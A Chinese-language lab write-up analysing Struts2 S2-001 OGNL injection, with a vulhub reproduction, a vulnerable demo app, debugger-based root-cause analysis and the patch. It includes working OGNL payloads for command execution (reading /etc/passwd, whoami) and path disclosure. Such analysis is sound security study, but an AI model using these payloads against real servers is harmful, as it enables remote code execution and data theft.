這期內容當中小編將會給大家帶來有關struts2漏洞 S2-001實例分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
struts2漏洞 S2-001是當用戶提交表單數據且驗證失敗時,服務器使用OGNL表達式解析用戶先前提交的參數值,%{value}并重新填充相應的表單數據。例如,在注冊或登錄頁面中。如果提交失敗,則服務器通常默認情況下將返回先前提交的數據。由于服務器用于%{value}對提交的數據執行OGNL表達式解析,因此服務器可以直接發送有效載荷來執行命令。
用vulhub復現漏洞可以省去環境的搭建過程,相當方便。
vulhub官網地址:https://vulhub.org


啟動漏洞環境。
docker-compsoe up -d
輸入測試的payload
%{1+1}
可以看到我們的加法表達式成功執行了。

這次我們試一試命令執行,new java.lang.String[ {"cat","/etc/passwd"} 在這里更改我們想要執行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功的讀取到了passwd文件。

下面給出三條利用語句:
| 獲取tomcat路徑 |
|---|
| %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} |
| 獲取web路徑 |
|---|
| %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |
| 命令執行 |
|---|
| %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
平臺:win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下載IntelliJ IDE之后我們選擇免費試用一個月,接下來創建我們的項目。
這個是搭建完成后的效果,下邊所有創建添加的jar包或者修改的文件都按照這個格式進行。
目錄結構如下。

需要如下幾個包,下載地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解壓完之后,我們把lib目錄下對應的jar包導入到我們在項目中創建的lib目錄中。


接著發布我們導入的jar包,不然會報錯。

接下來就是我們要創建的幾個文件,這里代碼都給出來了,直接copy就行。(注意:一定要按照前邊給出的目錄結構放置下邊的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h3>S2-001 Demo</h3> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
LoginAction.java
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}src目錄下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package> </struts>
漏洞部分代碼
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}運行我們搭建好的環境,記得開啟debug模式
password處輸入我們的測試語句:%{333*666},正確結果是多少來著,待我找個計算機算一下先(手動笑哭表情)

expression會獲取不同的參數值,我們直到其獲取到password開始分析漏洞原因。

然后這次的判斷跳過了中間的return,為啥會跳過return呢?因為這里的password內容任然是一個ognl表達式所以會再次進入循環,接著這里取出%{password}中間的值password賦給var。
在解析完%{password}表達式之后要獲取其中的內容password進行展示,也就是我們這里的%{333*666}
然后這次的判斷同樣也會跳過中間的return,為啥會跳過return呢?因為這里的password內容依然是一個ognl表達式所以會再次進入循環,接著這里取出%{333*666}中間的值333*666賦給var。

然后通過Object o = stack.findValue(var, asType)獲得到password的值為333*666,然后重新賦值給expression,進行下一次循環。
在這一次循環的時候,就會解析333*666,并將賦值給了o,經過計算后expression的值就變成了221788。
不是OGNL表達式時就會進入


判斷了循環的次數,從而在解析到%{333*666}的時候不會繼續向下遞歸,相當于限制了解析ongl的次數。

也就不會對用戶提交的參數進行ongl解析
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}這里搬運大佬總結好的東西。
OGNL 是 Object-Graph Navigation Language 的縮寫,它是一種功能強大的表達式語言(Expression Language,簡稱為 EL),通過它簡單一致的表達式語法,可以存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。它使用相同的表達式去存取對象的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)
1、表達式(Expression)
表達式是整個 OGNL 的核心,所有的 OGNL 操作都是針對表達式的解析后進行的。表達式會規定此次 OGNL 操作到底要干什么。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多類型的表達式,之后我們會看到更多。
2、根對象(Root Object)
根對象可以理解為 OGNL 的操作對象。在表達式規定了 “干什么” 以后,你還需要指定到底“對誰干”。在上面的測試代碼中,user 就是根對象。這就意味著,我們需要對 user 這個對象去取 name 這個屬性的值(對 user 這個對象去設置其中的 department 中的 name 屬性值)。
3、上下文環境(Context)
有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根對象進行取值或者設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在一個特定的環境中運行,這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操作 “在哪里干”。
OGN L 的上下文環境是一個 Map 結構,稱之為 OgnlContext。上面我們提到的根對象(Root
Object),事實上也會被加入到上下文環境中去,并且這將作為一個特殊的變量進行處理,具體就表現為針對根對象(Root
Object)的存取操作的表達式是不需要增加 #符號進行區分的。
| 表達式功能操作清單: |
|---|
| 1. 基本對象樹的訪問 對象樹的訪問就是通過使用點號將對象的引用串聯起來進行。 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變量的訪問 對容器變量的訪問,通過#符號加上表達式進行。 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號 OGNL表達式中能使用的操作符基本跟Java里的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用 mod, in, not in等。4. 容器、數組、對象 OGNL支持對數組和ArrayList等容器的順序訪問:例如:group.users[0] 同時,OGNL支持對Map的按鍵值查找: 例如:#session['mySessionPropKey'] 不僅如此,OGNL還支持容器的構造的表達式: 例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map 你也可以通過任意類對象的構造函數進行對象新建 例如:new Java.net.URL("xxxxxx/")5. 對靜態方法或變量的訪問 要引用類的靜態方法和字段,他們的表達方式是一樣的@class@member或者@class@method(args):6. 方法調用 直接通過類似Java的方法調用方式進行,你甚至可以傳遞參數: 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7. 投影和選擇 OGNL支持類似數據庫中的投影(projection) 和選擇(selection)。 投影就是選出**中每個元素的相同屬性組成新的**,類似于關系數據庫的字段操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。 例如:group.userList.{username}將獲得某個group中的所有user的name的列表。 選擇就是過濾滿足selection 條件的**元素,類似于關系數據庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇操作符,后面則是選擇用的邏輯表達式。而選擇操作符有三種: ? 選擇滿足條件的所有元素 ^ 選擇滿足條件的第一個元素 $ 選擇滿足條件的最后一個元素 例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。 |
上述就是小編為大家分享的struts2漏洞 S2-001實例分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。